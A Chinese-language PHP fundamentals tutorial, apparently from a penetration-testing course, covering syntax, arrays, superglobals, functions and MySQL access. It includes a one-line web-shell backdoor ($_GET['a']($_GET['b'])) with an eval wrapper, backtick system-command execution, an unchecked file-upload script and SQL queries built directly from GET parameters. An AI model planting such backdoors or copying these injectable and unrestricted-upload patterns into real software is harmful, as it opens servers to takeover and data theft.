PHP基础

初识PHP

  • 了解PHP 语言

PHP 语言标记

<h1>My Name is XIU!</h1>
<script>
console.log("This message is from info.php!")
</script>
<?php // PHP 的开始标记,表示从此标记开始,进入PHP 模式。
phpinfo(); // PHP 代码
// PHP 的结束标记,表示从开始标记到结束标记,之间的内容是PHP 模式
// 之后的内容依然被PHP 解释引擎认为是纯文本字符串。
?>

说明:

  • 在PHP 文件中,可以与HTML 和JavaScript 混编。
  • 开始标记<?php 表示进入PHP 模式,结束标记?>,标识退出PHP 模式。
  • PHP 模式之外的内容会被作为字符输出到浏览器中。
  • HTML 或JavaScript 对于PHP 来说就是纯文本字符串。
$str=<<<HTML
<h1>test.php</h1>
<script>
console.log("This message is from test.php!");
</script>
HTML;
echo $str;

安全问题:如果是一个在线的网站能够看到phpinfo 页面,说明存在敏感信息泄露漏洞,这个漏洞需要体现在后面的渗透测试报告中。

基础语法

指令分隔符

分号;,代表一句PHP 代码的结束。

注释

单行注释

phpinfo();  //  该函数会显示PHP 配置信息

多行注释

/*
这是多行注释!
以下语句表示PHP 配置信息
*/
phpinfo();

空白字符

空白符包括:

空白字符 表达
空格
TAB 制表符 \t
回车换行 \r\n

这些空白字符在PHP 中都是无关紧要的,可以将一个语句展开成任意行,或者紧缩在一行,空格与空行的合理运用可以增强代码的清晰性与可读性,如果运用不合理反而会对阅读产生负担!

但是,不能是用空白符打断PHP 的关键字,例如函数名,语句名,变量名,类名,方法名等等。

变量

  • 掌握PHP 语言中变量的命名
  • 掌握PHP 语言中字符串类型变量的定义

变量概述

变量在任何一门语言中都处于核心地位。

变量是用于临时存储值的容器,通过变量名能够访问到变量值,变量包含四个部分内容:

  • 变量名
  • 变量值
  • 数据类型
  • 内存空间

PHP 脚本语言是一种弱数据类型语言,变量或常量的数据类型由程序的上下文决定,给一个变量赋予什么样的值,就是什么数据类型。

变量声明与初始化

变量命名

变量名称组成:

$ + 变量名

变量名是严格区分大小写的。以下变量是完全不同的:

$name;
$Name;
$NAME;

变量名由字母、数字、下划线组成,并且不能以数字开头,也不能包含空白字符、特殊字符等其他字符。

$name = "xiu";
$name1 = "XIU";
$my_name = "天下";
$_name = "一统天下";
//$1name;
//$n@me;
//$nam$;

变量命名时,建议使用驼峰式命名法或者下划线命名法,做到变量名的”见名知意”。

$firstName;
$LastName;
$first_name;
$last_name;

PHP 中有一些标识符是系统定义的,也称为关键字,是PHP 语言的组成部分,因此不建议使用它们中的任何一个作为变量名,包括函数名,类名等。

$echo;      //建议不要使用

变量声明与初始化

直接赋值,直接使用。

echo $username;     // Notice: Undefined variable: username

$username = "XIU";

echo $username;

变量释放

unset() 函数释放指定的变量。

$username = "XIU";

echo $username;

unset($username);

echo $username; //Notice: Undefined variable: username

可变变量

可变变量,一个变量的名字可以动态的设置和使用。$$ 是php 的特性,也是产生php 中变量覆盖漏洞的原因之一。

// $$.php

$username = "XIU";
$XIU = "I am from China!";

// echo $username; // XIU
// echo $XIU; // I am from China!
// echo $$username; // I am from China! $($username) -> $XIU

$$username = "i love php!";
echo $XIU;

变量类型

变量类型是指保存在该变量中的数据的数据类型,在计算机编程语言世界中每个数据都有它的类型。

具有相同类型的数据才能被彼此相互操作。

在强类型的语言中例如C 语言,变量要通过声明指定类型,然后才可以存储对应指定的数据,就好比现实生活中在制作一个柜子之前,就要决定好这个柜子的类型,是书柜那么以后就只能用来存书,是衣柜以后就只能用来存衣服。

但是PHP 是一种弱类型的语言,和其他语言不同的是,变量或者常量的数据类型由程序的上下文决定,不需要事先声明类型。一个柜子,要是往里面存书籍那么他就是书柜;要是往里面存放衣服,那么它就是衣柜,根本不需要事先说明这个是书柜还是衣柜,一切根据实际需要使用即可。

可以将数据的变量类型输出,使用的函数var_dump()。

// var_dump.php

$name = "XIU"; // string
$sex = true; // bool
$age = 24; // int
$score = 59.9; // float

// echo $name;
// echo $sex; // 1
// var_dump($sex);
// var_dump($score);
var_dump($name);

bool

布尔类型,这个是最简单的类型,布尔型表达了true 或false,即真或假。

// bool.php

$a = true;
$b = false;

var_dump($b);

进行if 判断的时候,如果表达式不是bool 类型的值,会有类型转换,其他类型的值转换成布尔类型的值。大多数的值是被认为是true,少部分以下值被认为是false。

bool(false)
int(0)
float(0)
string(0)""
string(1)"0"
array(0){}
NULL

int

整型,存储整数。

$age = 24;
var_dump($age);

float

浮点型,也称double,指包含小数的数。

$score = 99.9;
var_dump($score);

string

字符串是有序的一系列字符。字符串可以使用单引号、双引号、定界符三种方法来定义。

单引号定义字符串:

  • 单引号定义的字符串中不能包含单引号,如果包含,需要转义\'
  • 单引号中的变量不会被识别。
// string.php

$name = 'XIU';
$msg = 'Welcome, ';

echo $msg.$name; // . 运算符,在PHP 中代表字符串拼接。

双引号定义字符串:

  • 双引号中可以包含单引号,双引号中包含双引号,需要转义\"
  • PHP 会解析双引号之间的变量,最好用{} 将变量名括起来。
// string.php

$username = "XIU";

$message = "Welcome, {$username}";

echo $message;

定界符定义字符串:

  • 当需要定义输出大段字符串时,并且该字符串中有超多特殊字符,包括单引号,双引号等等。
  • 定界符定义的字符串中的单双引号,还有大部分特殊字符不需要进行转义。
  • 定界符开始标识符<<< + 标志,标志建议大写字母,并且具备一定的语义。
  • 定界符结束标示符标志 + ;,结束标识符之后,只能有换行回车。
  • 标志的命名规则,字母、数字、下划线,并且不能以数字开始。
  • 定界符中的$ 同样会识别成变量,变量名要用{} 括起来。
// string.php

$name = "XIU";
$msg = <<<XIU
<h1>My Name is <span style = "color:pink">{$name}</span>!</h1>
<script>
console.log('This message is from info.php!')
</script>
XIU;
echo $msg;

常量

常量是一个简单值的标示符,如其名称所暗示的。在PHP 脚本执行期间一个常量一旦被定义,就不能被改变或者取消定义,常量的作用域是全局,常量包含bool,int,float,string 类型的数据。

定义和使用

常量的命名与变量类似,也遵循PHP 标识符的名称规则,按照惯例常量标识符总是大写的。

// define.php

define("USERNAME", "XIU");

// USERNAME = 'XIU';
// unset("USERNAME");

echo USERNAME;

变量一般由$ 符号起头,常量一般大写。

预定义常量

PHP 已经定义好了,可以直接使用的常量,一般代表特殊的含义。魔术常量是预定义常量中比较特殊的一类。

常量名 常量值
FILE 当前的文件名,完整的路径。
LINE 当前行号
FUNCTION 当前的函数名
CLASS 当前的类名
METHOD 当前对象的方法名
PHP_OS 操作系统类型
PHP_VERSION 当前PHP 的版本
DIRECTORY_SEPARATOR 目录的分隔符。

运算符

  • 了解运算符
  • 掌握反引号和@ 符号用法

算术运算符

例子 名称 结果
-$a 取反 $a 的负值
$a + $b 加法 $a和$b 的和
$a - $b 减法 $a 和$b 的差
$a * $b 乘法 $a 和$b 的积
$a / $b 除法 $a 除以$b 的商
$a % $b 取模,取余 $a 除以$b 的余数
++ $a 前加 $a 的值加一,然后返回$a
$a++ 后加 返回$a,然后将$a 的值加一
–$a 前减 $a 的值减一, 然后返回$a
$a– 后减 返回$a,然后将$a 的值减一
<meta charset = "utf-8">
<h1>算术运算符</h1>
<?php
$a = 10;
$b = 3;

// echo -$a;
// echo $a + $b;
// echo $a - $b;
// echo $a * $b;
// echo $a / $b;
// echo $a % $b;
// echo ++ $a;
// echo $a ++;
// echo -- $a;
echo $a--;

字符串运算符

字符串运算符完成的主要工作,就是字符串拼接。

在JS 语言中,字符串拼接用+,运算符. 的作用是访问对象中的属性或者方法。

PHP 中,使用. 进行字符串拼接。PHP 中. 也叫连接运算符。

<meta charset = "utf-8">
<h1>字符串连接符</h1>
<?php
$name = "XIU";
$str = "Hello,".$name;
//$str = "Hello,"+$name;
var_dump($str);
?>

赋值运算符

左边的操作数必须是变量,右边可以是一个表达式,也可以是一个值,一个变量等等。

作用:将右边表达式的值赋给左边变量。

二元赋值运算符 例子 解释
=
+=
-=
*=
/=
%=
.=
<meta charset = "utf-8">
<h1>赋值运算符</h1>
<?php
$a = 10;
$b = 3;

// $a += $b;
// $a -= $b;
// $a *= $b;
// $a /= $b;
// $a %= $b;
$a .= $b;

echo $a;

比较运算符

对操作数(按照比较运算符的要求,规则)进行比较后,得到返回值(boolean)。

如果比较出的结果满足比较运算符的要求那么结果就是true(真,成立,满足),否则就是false (假,不成立,不满足)。

例子 说明 备注
$a == $b 等于
$a === $b 全等 值相等并且数据类型相同
$a != $b 不等
$a <> $b 不等
$a !== $b 不全等
$a < $b 小于
$a > $b 大于
$a <= $b 小于等于
$a >= $b 大于等于
<meta charset = "utf-8">
<h1>比较运算符</h1>
<?php
$a = 5;
$b = 3;
$c = $a == $b;
$c = $a === $b;
$c = $a != $b;
$c = $a <> $b;
$c = $a !== $b;
$c = $a > $b;
$c = $a >= $b;
$c = $a < $b;
$c = $a <= $b;

var_dump($c);

?>

PHP 中规定:使用echo 输出布尔类型值的时候echo true; 它在页面中会输出1。echo false; 它会在页面中什么都不输出。建议使用var_dump() 来输出更明了的结果。

逻辑运算符

逻辑运算符 例子 解释 运算符法则
and && $a and $b $a && $b 逻辑”与”运算
or || $a or $b $a || $b 逻辑”或”运算
xor $a xor $b 逻辑”异或”运算 相同为假,不同为真。
! !$a 逻辑”非”运算
<meta charset = "utf-8">
<h1>逻辑运算符</h1>
<?php
$a = true;
$b = false;
//var_dump($a);
//var_dump($b);
$c = ($a and $b);
$c = ($a && $b);
$c = ($a or $b);
$c = ($a || $b);
$c = ($a xor $b);
$c = !$a;

var_dump($c);
?>

其他运算符

?:

$a = 10;
$b = 20;
$max = $a > $b ? $a : $b;
echo $max;

反引号

自动适配系统命令,调用系统命令。

// ``.php

$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";

echo "<pre>".`$cmd`;

@

屏蔽表达式可能发生的错误。

echo @$username;

PHP 流程控制

  • 了解PHP 流程控制过程
  • 掌握if,while,for 等流程控制语句的用法。

顺序执行

自上而下的执行即可,这也是PHP 语句的默认执行过程。对这个执行过程没有控制。

echo "This is first echo";
echo "<br />";
echo "This is second echo";
echo "<br />";
echo "This is third echo";

分支执行

分支执行可以根据表达式的值是否为True 来选择执行某些代码,PHP 的分支执行主要通过if 和switch 来实现。

if 语句

语言结构

if(){//判断条件,如果判断条件的返回值为True,则执行语句块1,否则执行语句块2
//语句块1
}else{
//语句块2
}

单向条件:

// if.php

$score = 59.9;
if($score >= 60 ){
echo "congratulations";
}

双向条件:

// if.php

$score = 99.9;
if($score >= 60 ){
echo "congratulations";
}else{
echo "Sorry, you may need help!";
}

多向条件:成绩定级脚本。

switch 语句

功能与if 语句类似,当需要多向分支结构时,并且判断条件是具体的某个值,此时大多使用switch 结构。

<?php
$day = 7;

switch($day){
case 1:
echo "Monday";
break;
case 2 :
echo "Tuesday";
break;
case 3 :
echo "Wednesday";
break;
case 4 :
echo "Thursday";
break;
case 5:
echo "Friday";
break;
case 6:
echo "Saturday!";
break;
case 7:
echo "Sunday!";
break;
default:
echo "Error!";
}
?>

注意:

  • 表达式的值最好是整形或者字符串。
  • 不要忘记break 语句,用来跳出switch 语句。每个case 语句后面都加上break。
  • 如果某个case 语句后面并没有接语句块,那么就说明这个语句块的内容是同下。
  • case 后面的语句块是不需要{} 括起来的。

判断条件

在编写if 语句时,要求判断条件是一个布尔类型的值。但是实际应用中,是无法保障这一点。如果判断条件是非布尔类型的值,就需要强制转换成布尔类型的值。如下:

// if.php

$flag = 0;
$flag = 0.0;
$flag = "";
$flag = "0";
$flag = array();
$flag = NULL;
$flag = "XIU";
$flag = true;
$flag = 24;
$flag = 59.9;

if($flag){
echo var_dump($flag)." means Ture";
}else{
echo var_dump($flag)." means False";
}

循环执行

计算机最擅长的功能之一就是按照规定的条件,重复执行某些操作,这是程序设计中最能发挥计算机特长的程序结构。

while

语言结构

while(表达式){//当表达式的值为真的时候,执行循环体。
//循环体
}

当表达式的值为true,就执行下面的循环体。当循环体执行结束之后,继续判断表达式的值是true 还是false,如果还是true,那么就继续执行循环体。直到,这个表达式的值为false,那么这个while 语句就执行结束了。

例子:输出1 到100 数字。

// while.php

$a = 1;

while ($a <= 100) {
echo $a."<br />";
$a ++;
}

do while

//  do-while.php

$a = 1;

do{
echo $a."<br />";
$a ++;
}while ($a <= 10);

for

语法格式。

for(;;){//计数器;判断条件;自增或自减
//循环体
}

例子:输出1 到1000 数字。

// for.php

for ($i=0; $i < 1000 ; $i++) {
echo $i."<br />";
}

特殊流程

break

break 用于switch,for,while,do…while,foreach 等的中断。后面可以接上一个数字来表示跳出几层循环。默认不加就是跳出当前循环语句。

// break.php

for ($i=1; $i <= 100; $i++) {
if ($i % 17 == 0) {
break;
}
echo $i."<br />";
}

echo "PHP is DONE!";

continue

continue 只能用在循环语句,轮空本次循环,并不是结束整个循环语句。

//  continue.php

for ($i=1; $i <= 100; $i++) {
if ($i % 17 == 0) {
continue;
}
echo $i."<br />";
}

echo "PHP is DONE!";

exit

exit 表示结束当前整个PHP 脚本的执行。同die() 语句。

// exit.php

for ($i=1; $i <= 100; $i++) {
if ($i % 17 == 0) {
// exit;
// exit("PHP is OVER");
// die("PHP is OVER");
die();
}
echo $i."<br />";
}

echo "PHP is DONE!";

PHP数组

数组概念

了解PHP 中数组的概念

掌握数组的创建方法

数组概述

学生信息

$name = "xiu";
$sex = true;
$age = 18;
$score = 99.9;

$stu1 = $name;
$stu1 = $sex;
$stu1 = $age;
$stu1 = $score;

var_dump($stu1);

把学生信心存储在一个变量里,需要用数组来实现。

$name   = "xiu";
$sex = true;
$age = 18;
$score = 99.9;

$stu1[] = $name;
$stu1[] = $sex;
$stu1[] = $age;
$stu1[] = $score;

echo "<pre>";
var_dump($stu1);

数组特点

键值对(key-value);

键,key,存储数组中,变量的“编号”。

值,value,存储数组中,变量的值。

数组中的元素可以是任意类型的数据对象。

索引数组,变量的“编号”是整数,整数不具备一定的语义。

关联数组,变量的”编号”用字符串表示,可以具备一定的语义。

$name   = "xiu";
$sex = true;
$age = 18;
$score = 99.9;

$stu1['name'] = $name;
$stu1['sex'] = $sex;
$stu1['age'] = $age;
$stu1['score'] = $score;

echo "<pre>";
var_dump($stu1);

数组创建

直接赋值

语法:

$stu1[] = $name;            //默认是索引数组,从0开始计数。

$stu1['name'] = $name; //key 一般是字符串,就是关联数组。

创建第二个学生信息。

$stu2['name'] = "HMM";
$stu2['sex'] = false;
$stu2['age'] = 22;
$stu2['score'] = 99.9;

array 语言结构

语法:

变量 = array(变量1,变量2,...);

变量 = array(
'key1' => value1,
'key2' => value2,
...
)
  • => 特殊的字符,在array 语言结构 中连接keyvalue
  • PHP 中数组的key 如果是字符串就具备一定的语义,可以非常方便的了解变量的含义。
  • PHP 数组中的key ,不建议使用除了整型和字符串的其他类型。
  • array() 不是函数,而是一种语言结构。

创建其他学生信息:

$stu3 = array('zs', true, 25, 59.9);

$stu4 = array(
'name' => 'ls',
'sex' => true,
'age' => 24,
'score' => 90.0
);

print_r($stu4);

print_r 与echo 类似,在输出布尔类型变量True 时,打印的是1;在输出False 时,打印什么都没有。

多维数组

数组中的元素可以是任何类型的数据。数组中的元素也可以是数组。

创建多维数组

一个班级有四个学生。

$ns_class = array($stu3, $stu4);

echo "<pre>";
print_r($ns_class);

数组元素访问

数组元素访问的基本方法

掌握数组的遍历方法

数组元素操作

元素访问

通过key 找到数组中的元素。

echo $stu3[3];
echo "<br />";
echo $ns_class[1]["score"];

元素操作

对元素的操作包括:

数组元素操作 说明
读取 通过key,捕获数组中的value。
修改 直接赋值即可。
增加 直接赋值即可。
删除 PHP 中删除数组中的元素意义不大,置之不理即可。

尝试修改数组中的元素:

echo "ls的成绩是 {$ns_class[1]["score"]}<br />";
echo "ls努力学习中...<br />";
$ns_class[1]["score"] += 0.1;
echo "ls的成绩是 {$ns_class[1]["score"]}";

尝试写一个座右铭:

$stu1['word'] = "为往圣继绝学,为万世开太平。";
var_dump($stu1);

数组的遍历

遍历数组,就是数组中的每个元素都访问一次。

for 循环

使用for 循环可以遍历数组,但是此种方法依赖于数组中key 自然数规律。

for ($i = 0; $i < count($stu1); $i++) { 
echo $stu1[$i]."<br />";
}

显然,此种方法具有局限性,只能遍历索引数组。

foreach 语句

foreach 语法结构提供了遍历数组的简单方式。

foreach 这种语言结构是专门用来遍历数组的,foreach 是一种循环,不需要额外计时器。

foreach ($variable as $key => $value) {
# code...
}

直接访问数组的值:

foreach ($stu2 as $v) {
echo $v."<br />";
}

访问键值对:

foreach ($stu2 as $k => $v) {
echo $k. "=". $v. "<br />";
}

注意:

  • foreach 是用来遍历数组的循环语言结构,数组中多少个元素,该语言结构就会循环执行几次。
  • foreach 语言结构中,临时变量的名字可以变化,但是语言结构不能改变。

预定义超全局数组变量

了解PHP 中预定义超全局数组变量的地位

掌握相关数组的用法

概述

预定义,PHP 已经定义好了,已经存在的,可以直接拿过来使用。

超全局:超级全局变量,作用域是超全局,可以在脚本的任何地方访问和使用,包括函数内部、外部。

数组速查

名称 作用
$_GET 通过URL 参数(又叫query string)传递给当前脚本的变量的数组。 注意:该数组不仅仅对method 为 GET 的请求生效,而是会针对所有带query string 的请求。
$_POST 当HTTP POST 请求的Content-Type 是application/x-www-form-urlencoded 或multipart/form-data 时,会将变量以关联数组形式传入当前脚本。
$_FILES 通过HTTP POST 方式上传到当前脚本的项目的数组。此数组的概况在POST 方法上传 章节中有描述。
$_COOKIE 通过HTTP Cookies 方式传递给当前脚本的变量的数组。
$_SESSION 当前脚本可用 SESSION 变量的数组。更多关于如何使用的信息,参见Session 函数 文档。
$_REQUEST 默认情况下包含了$_GET,$_POST 和$_COOKIE 的数组。

注意:

  • 以上数组都是预定义,超全局的。
  • 以上数组在不同的PHP 版本中有不同的表现,但是大方向没变。

$_GET

示例代码

//  get.php

var_dump($_GET);

说明

  • $_GET 是一个预定义数组。
  • 作用域是超全局,脚本的任何地方都可以使用。
  • 接收从浏览器客户端用户GET 方式传递到服务器的参数。
  • GET 传参的参数名做$_GET 数组的key,参数值作为数组的value。
  • GET 传参时,直接将参数拼接到URL 中即可。

GET 传参

GET /php/functions/get.php?username=AJEST&password=654321 HTTP/1.1
Host: localhost

$_POST

示例代码

// post.php

var_dump($_POST);

说明:

  • $_POST 用于接收浏览器客户端用户以POST 方式传递过来的参数。
  • POST 传参,参数在请求正文中。

POST 请求

POST /php/functions/post.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=admin&password=123456

为了弥补HTTP 协议的无状态性,保持用户的会话状态,需要使用Cookie 技术。

Cookie 过程:

  • 用户提交账密
  • 服务器进行身份认证
  • 下发身份证,下发Cookie。
  • 浏览器客户端用户所有的请求都会携带身份信息,携带Cookie 信息。
  • 整体流程体现为,保持了HTTP 会话的状态性。

实例代码

//  cookie.php

var_dump($_COOKIE);

写入Cookie

//console
document.cookie = "username=admin";
document.cookie = "passoword=123456";

HTTP 请求报文:

GET /php/functions/cookie.php HTTP/1.1
Host: 10.4.7.187
Cookie: username=admin; password=123456

$_REQUEST

$_REQUEST,默认包含了$_GET,$_POST,$_COOKIE 数组中的所有变量。以上提到的三个数组,包含了浏览器客户端的三大传参方式。

$_FILES

参数

$_FILES['uploaded']	用来保存文件上传信息的。uploaded 就是文件域input 标签name 属性的值。
$_FILES['uploaded']['name'] 上传文件的名字。
$_FILES['uploaded']['type'] 上传文件的类型。
$_FILES['uploaded']['tmp_name'] 上传文件存储在服务器中的缓存路径。
$_FILES['uploaded']['error'] 错误代码。
$_FILES['uploaded']['size'] 上传文件的大小

$_FILES 中存储的与上传文件有关的信息,不是文件本身,文件内容在缓存路径中。

正常完成文件上传功能,需要将文件的从缓存拷贝到服务器文件系统中。

文件上传

文件上传的实现,可以有以下步骤:

  • 利用$_FILES 数组捕获文件上传信息。
  • 将缓存中的文件拷贝到目标路径下。

完整代码:

<html>
<head>
<title>文件上传</title>
<meta charset="utf8">
</head>
<body>
<h1>文件上传测试</h1>

<?php

// echo "<pre>";
// var_dump($_FILES);

if(isset($_POST['submit'])){
$img_path_tmp = $_FILES['uploaded']['tmp_name'];
echo "上传文件的缓存路径为:{$img_path_tmp}<br />";

$img_path_target = "./images/{$_FILES['uploaded']['name']}";

if(move_uploaded_file($img_path_tmp, $img_path_target)){
echo "文件上传成功!";
echo "上传文件的目标路径为:{$img_path_target}";
}else {
echo "文件上传失败!";
}
}else{

$html = <<<FORM
<form action="#" method = "post" enctype="multipart/form-data">
<input type="file" name = "uploaded">
<input type="submit" value="submit" name="submit">
</form>
FORM;
echo $html;
}
?>
</body>
</html>

PHP函数

自定义函数

掌握PHP 语言中函数定义的方法

掌握函数的调用

了解变量的作用范围

了解传参过程

函数定义

函数就是可以完成固定功能的语句或语句集合,可以重复调用。

函数语言结构

function 函数名(形式参数1,形式参数2...){
//函数体

return 返回值
}

函数名()

定义一个简单的函数:

// funtion.php

function test(){
echo "This is function ".__FUNCTION__;
}

test();

函数传参

// function.php

function add($x, $y){
$sum = $x + $y;
return $sum;
}

echo add(10, 3);

注意

  • function 是PHP 的关键字,用于完成函数的定义;
  • 函数名的命名,应该避开PHP 关键字,命名规则与变量的命名规则相同;
  • 形式参数,形参,给函数传递参数用的,仅作占位用;
  • 实际参数,实参,真正参与函数运算的;
  • 函数体,执行函数功能的部分。
  • 返回值,返回给调用的地方,默认返回NULL。

函数调用

函数的调用,函数名加上小括号。

函数调用过程

function a(){
echo "This is func ".__FUNCTION__."<br />";
}

function b(){
echo __FUNCTION__." is starting...<br />";
a();
echo __FUNCTION__." is stopped!<br />";
}

b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量范围

  • 局部变量
  • 全局变量
  • 超全局变量

局部变量

局部变量,就是在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.php

function get_name(){
$username = "xiu";
echo "My name is {$username}";
}
get_name();

echo $username; // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php

$username = "xiu";

function get_name(){
echo "My name is {$username}";
}

get_name(); // Notice: Undefined variable: username

注意:PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与JavaScript 和Python 不同。

可以有如下变通方法:

  • 利用函数传参的方式。
$username = "xiu";

function get_name($username){
echo "My name is {$username}";
}

get_name($username);
  • 用global 声明变量是全局变量。
// function.php

$username = "xiu";

function get_name(){
global $username;
echo "My name is {$username}";
}

get_name();

按值传参

默认传参方式。

function add($x, $y){
$sum = $x + $y;
return $sum;
}

echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,设置方法很简单直接赋值即可!

给函数默认值的时候,全都给。

function add($x = 0, $y = 0){
$sum = $x + $y;
return $sum;
}

// echo add(); // 0
// echo add(10, 3); // 13
echo add(10); // 10
  • add(10),单个参数数字10 是给了x 呢?还是给了y 呢?

可变函数

  • 了解可变函数和基本概念和作用
  • 掌握最简单后门的写法

概述

可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用。

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

动态函数示例

function a(){
echo "This is function a";
}

function b(){
echo "This is function b";
}

// a();
// b();

// $func_name = "b";
$func_name = ($_GET['func_name']);
$func_name();

最简单后门

通过可变函数实际上可以调用任意PHP 函数。

$_GET['a']($_GET['b']);

可变函数不能用于,例如echo,print,unset(),isset(),empty(),include,require,eval 等类似的语言结构。

可以使用自己的包装函数来将这些结构用作可变函数。

function e($code){
@eval($code);
}

内置函数

内部(内置)函数,PHP 提供许多现成的函数或者语言结构,可以直接使用。

具体,可以参考PHP 手册。

PHP与MySQL交互

PHP 与MySQL 交互

了解PHP 与MySQL 交互流程

掌握PHP 与MySQL 交互相关函数

函数速查

函数名 作用
mysqli_connect() 与MySQL 数据库建立连接。
mysqli_close() 关闭与MYSQL 数据库建立的连接。
mysqli_connect_errno() 与MySQL 数据库建立连接时,发生错误时的错误编号。
mysqli_connect_error() 与MySQL 数据库建立连接时,发生错误时的错误信息。
mysqli_query() 执行SQL 语句。
mysqli_errno() 执行SQL 语句时,发生错误的编号。
mysqli_error() 执行SQL 语句时,发生错误的信息。
mysqli_fetch_assoc() 从结果集对象中取数据,按条取数据。

交互过程

  • 建立与MySQL 链接。
  • 执行SQL 语句,返回结果集对象。
  • 从结果集对象中取数据。
  • 关闭与MySQL 链接。

与MySQL 建立链接

直接使用PHP 提供的函数。

建立链接

$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "root";
$db_name = "pikachu";

$link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);

如果链接成功,返回object(mysqli)1;否则,返回bool(false)。

$link 是对象类型的变量,相当于一个”令牌”。

捕获连接错误

  • 错误编号
  • 错误详情
if(!$link){
exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
}

关闭链接

mysqli_close($link);

执行SQL

单条SQL 语句执行

$sql = "select * from users;";

$results = mysqli_query($link, $sql);

如果SQL 语句正常执行,就会返回对象类型object(mysqli_result)#2 的数据;否则,bool(false)。

对于insert,delete,update 等不会返回数据的SQL 语句,在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象,可以使用操作结果集对象的函数来从中获取数据。

SQL 错误

如果在执行SQL 语句的时候发生错误,mysqli_query 将返回false。可以使用以下函数捕获错误原因:

if(!$results){
exit("[".mysqli_errno($link)."] ".mysqli_error($link));
}

结果集对象

操作结果集对象。

函数速查

函数 说明
mysqli_fetch_row() 以索引数组的方式获取一条记录的数据
mysqli_fetch_assoc() 以关联数组的方式获取一条记录的数据
mysqli_fetch_array() 以索引数组或关联数组的方式获取一条记录的数据
mysqli_fetch_all() 以索引数组或关联数组的方式获取全部记录的数据
mysqli_num_rows() 获取结果集对象中数据条数
mysqli_free_result() 释放与一个结果集合相关的内存
<?php
// 连接数据库
$conn = mysqli_connect("localhost", "root", "root", "pikachu");

// 查询语句
$sql = "SELECT id FROM users";

// 执行查询语句
$result = mysqli_query($conn, $sql);

// 获取一行作为关联数组
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
var_dump($row);
echo "<br \>";
// 或者获取一行作为数字数组
$row = mysqli_fetch_array($result, MYSQLI_NUM);
var_dump($row);
echo "<br \>";
// 或者获取一行作为关联数组和数字数组的组合
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
var_dump($row);
echo "<br \>";
// 输出结果
echo "ID: " . $row["id"];

// 关闭连接
mysqli_close($conn);
?>

mysqli_num_rows

var_dump(mysqli_num_rows($results));

mysqli_fetch_assoc

  • 以关联数组的方式从结果集对象中取记录。
  • 执行一次,取得一条记录,在执行一次,取得下一条记录。
while($result = mysqli_fetch_assoc($results)){
var_dump($result);
}

表格形式

while($result = mysqli_fetch_assoc($results)){
echo "<tr>";
echo "<td>{$result['id']}</td>
<td>{$result['username']}</td>
<td>{$result['password']}</td>";
echo "</tr>";
}

显示不同用户信息

根据id 参数显示不同用户信息。

通过$_GET 数组捕获用户输入的id 参数。

$id = isset($_GET['id'])? $_GET['id']: 1;

$sql = "select * from users where id={$id};";

插入数据

<?php
// 连接数据库
$conn = mysqli_connect("localhost", "root", "root", "pikachu");

$username = $_GET['username'];
$id = $_GET['id'];


$sql = "INSERT INTO users (id, username) VALUES ('$id', '$username')";


if (mysqli_query($conn, $sql)) {
$insertResult = "数据插入成功!";
} else {
$insertResult = "插入失败: " . mysqli_error($conn);
}

echo $insertResult;

mysqli_close($conn);
?>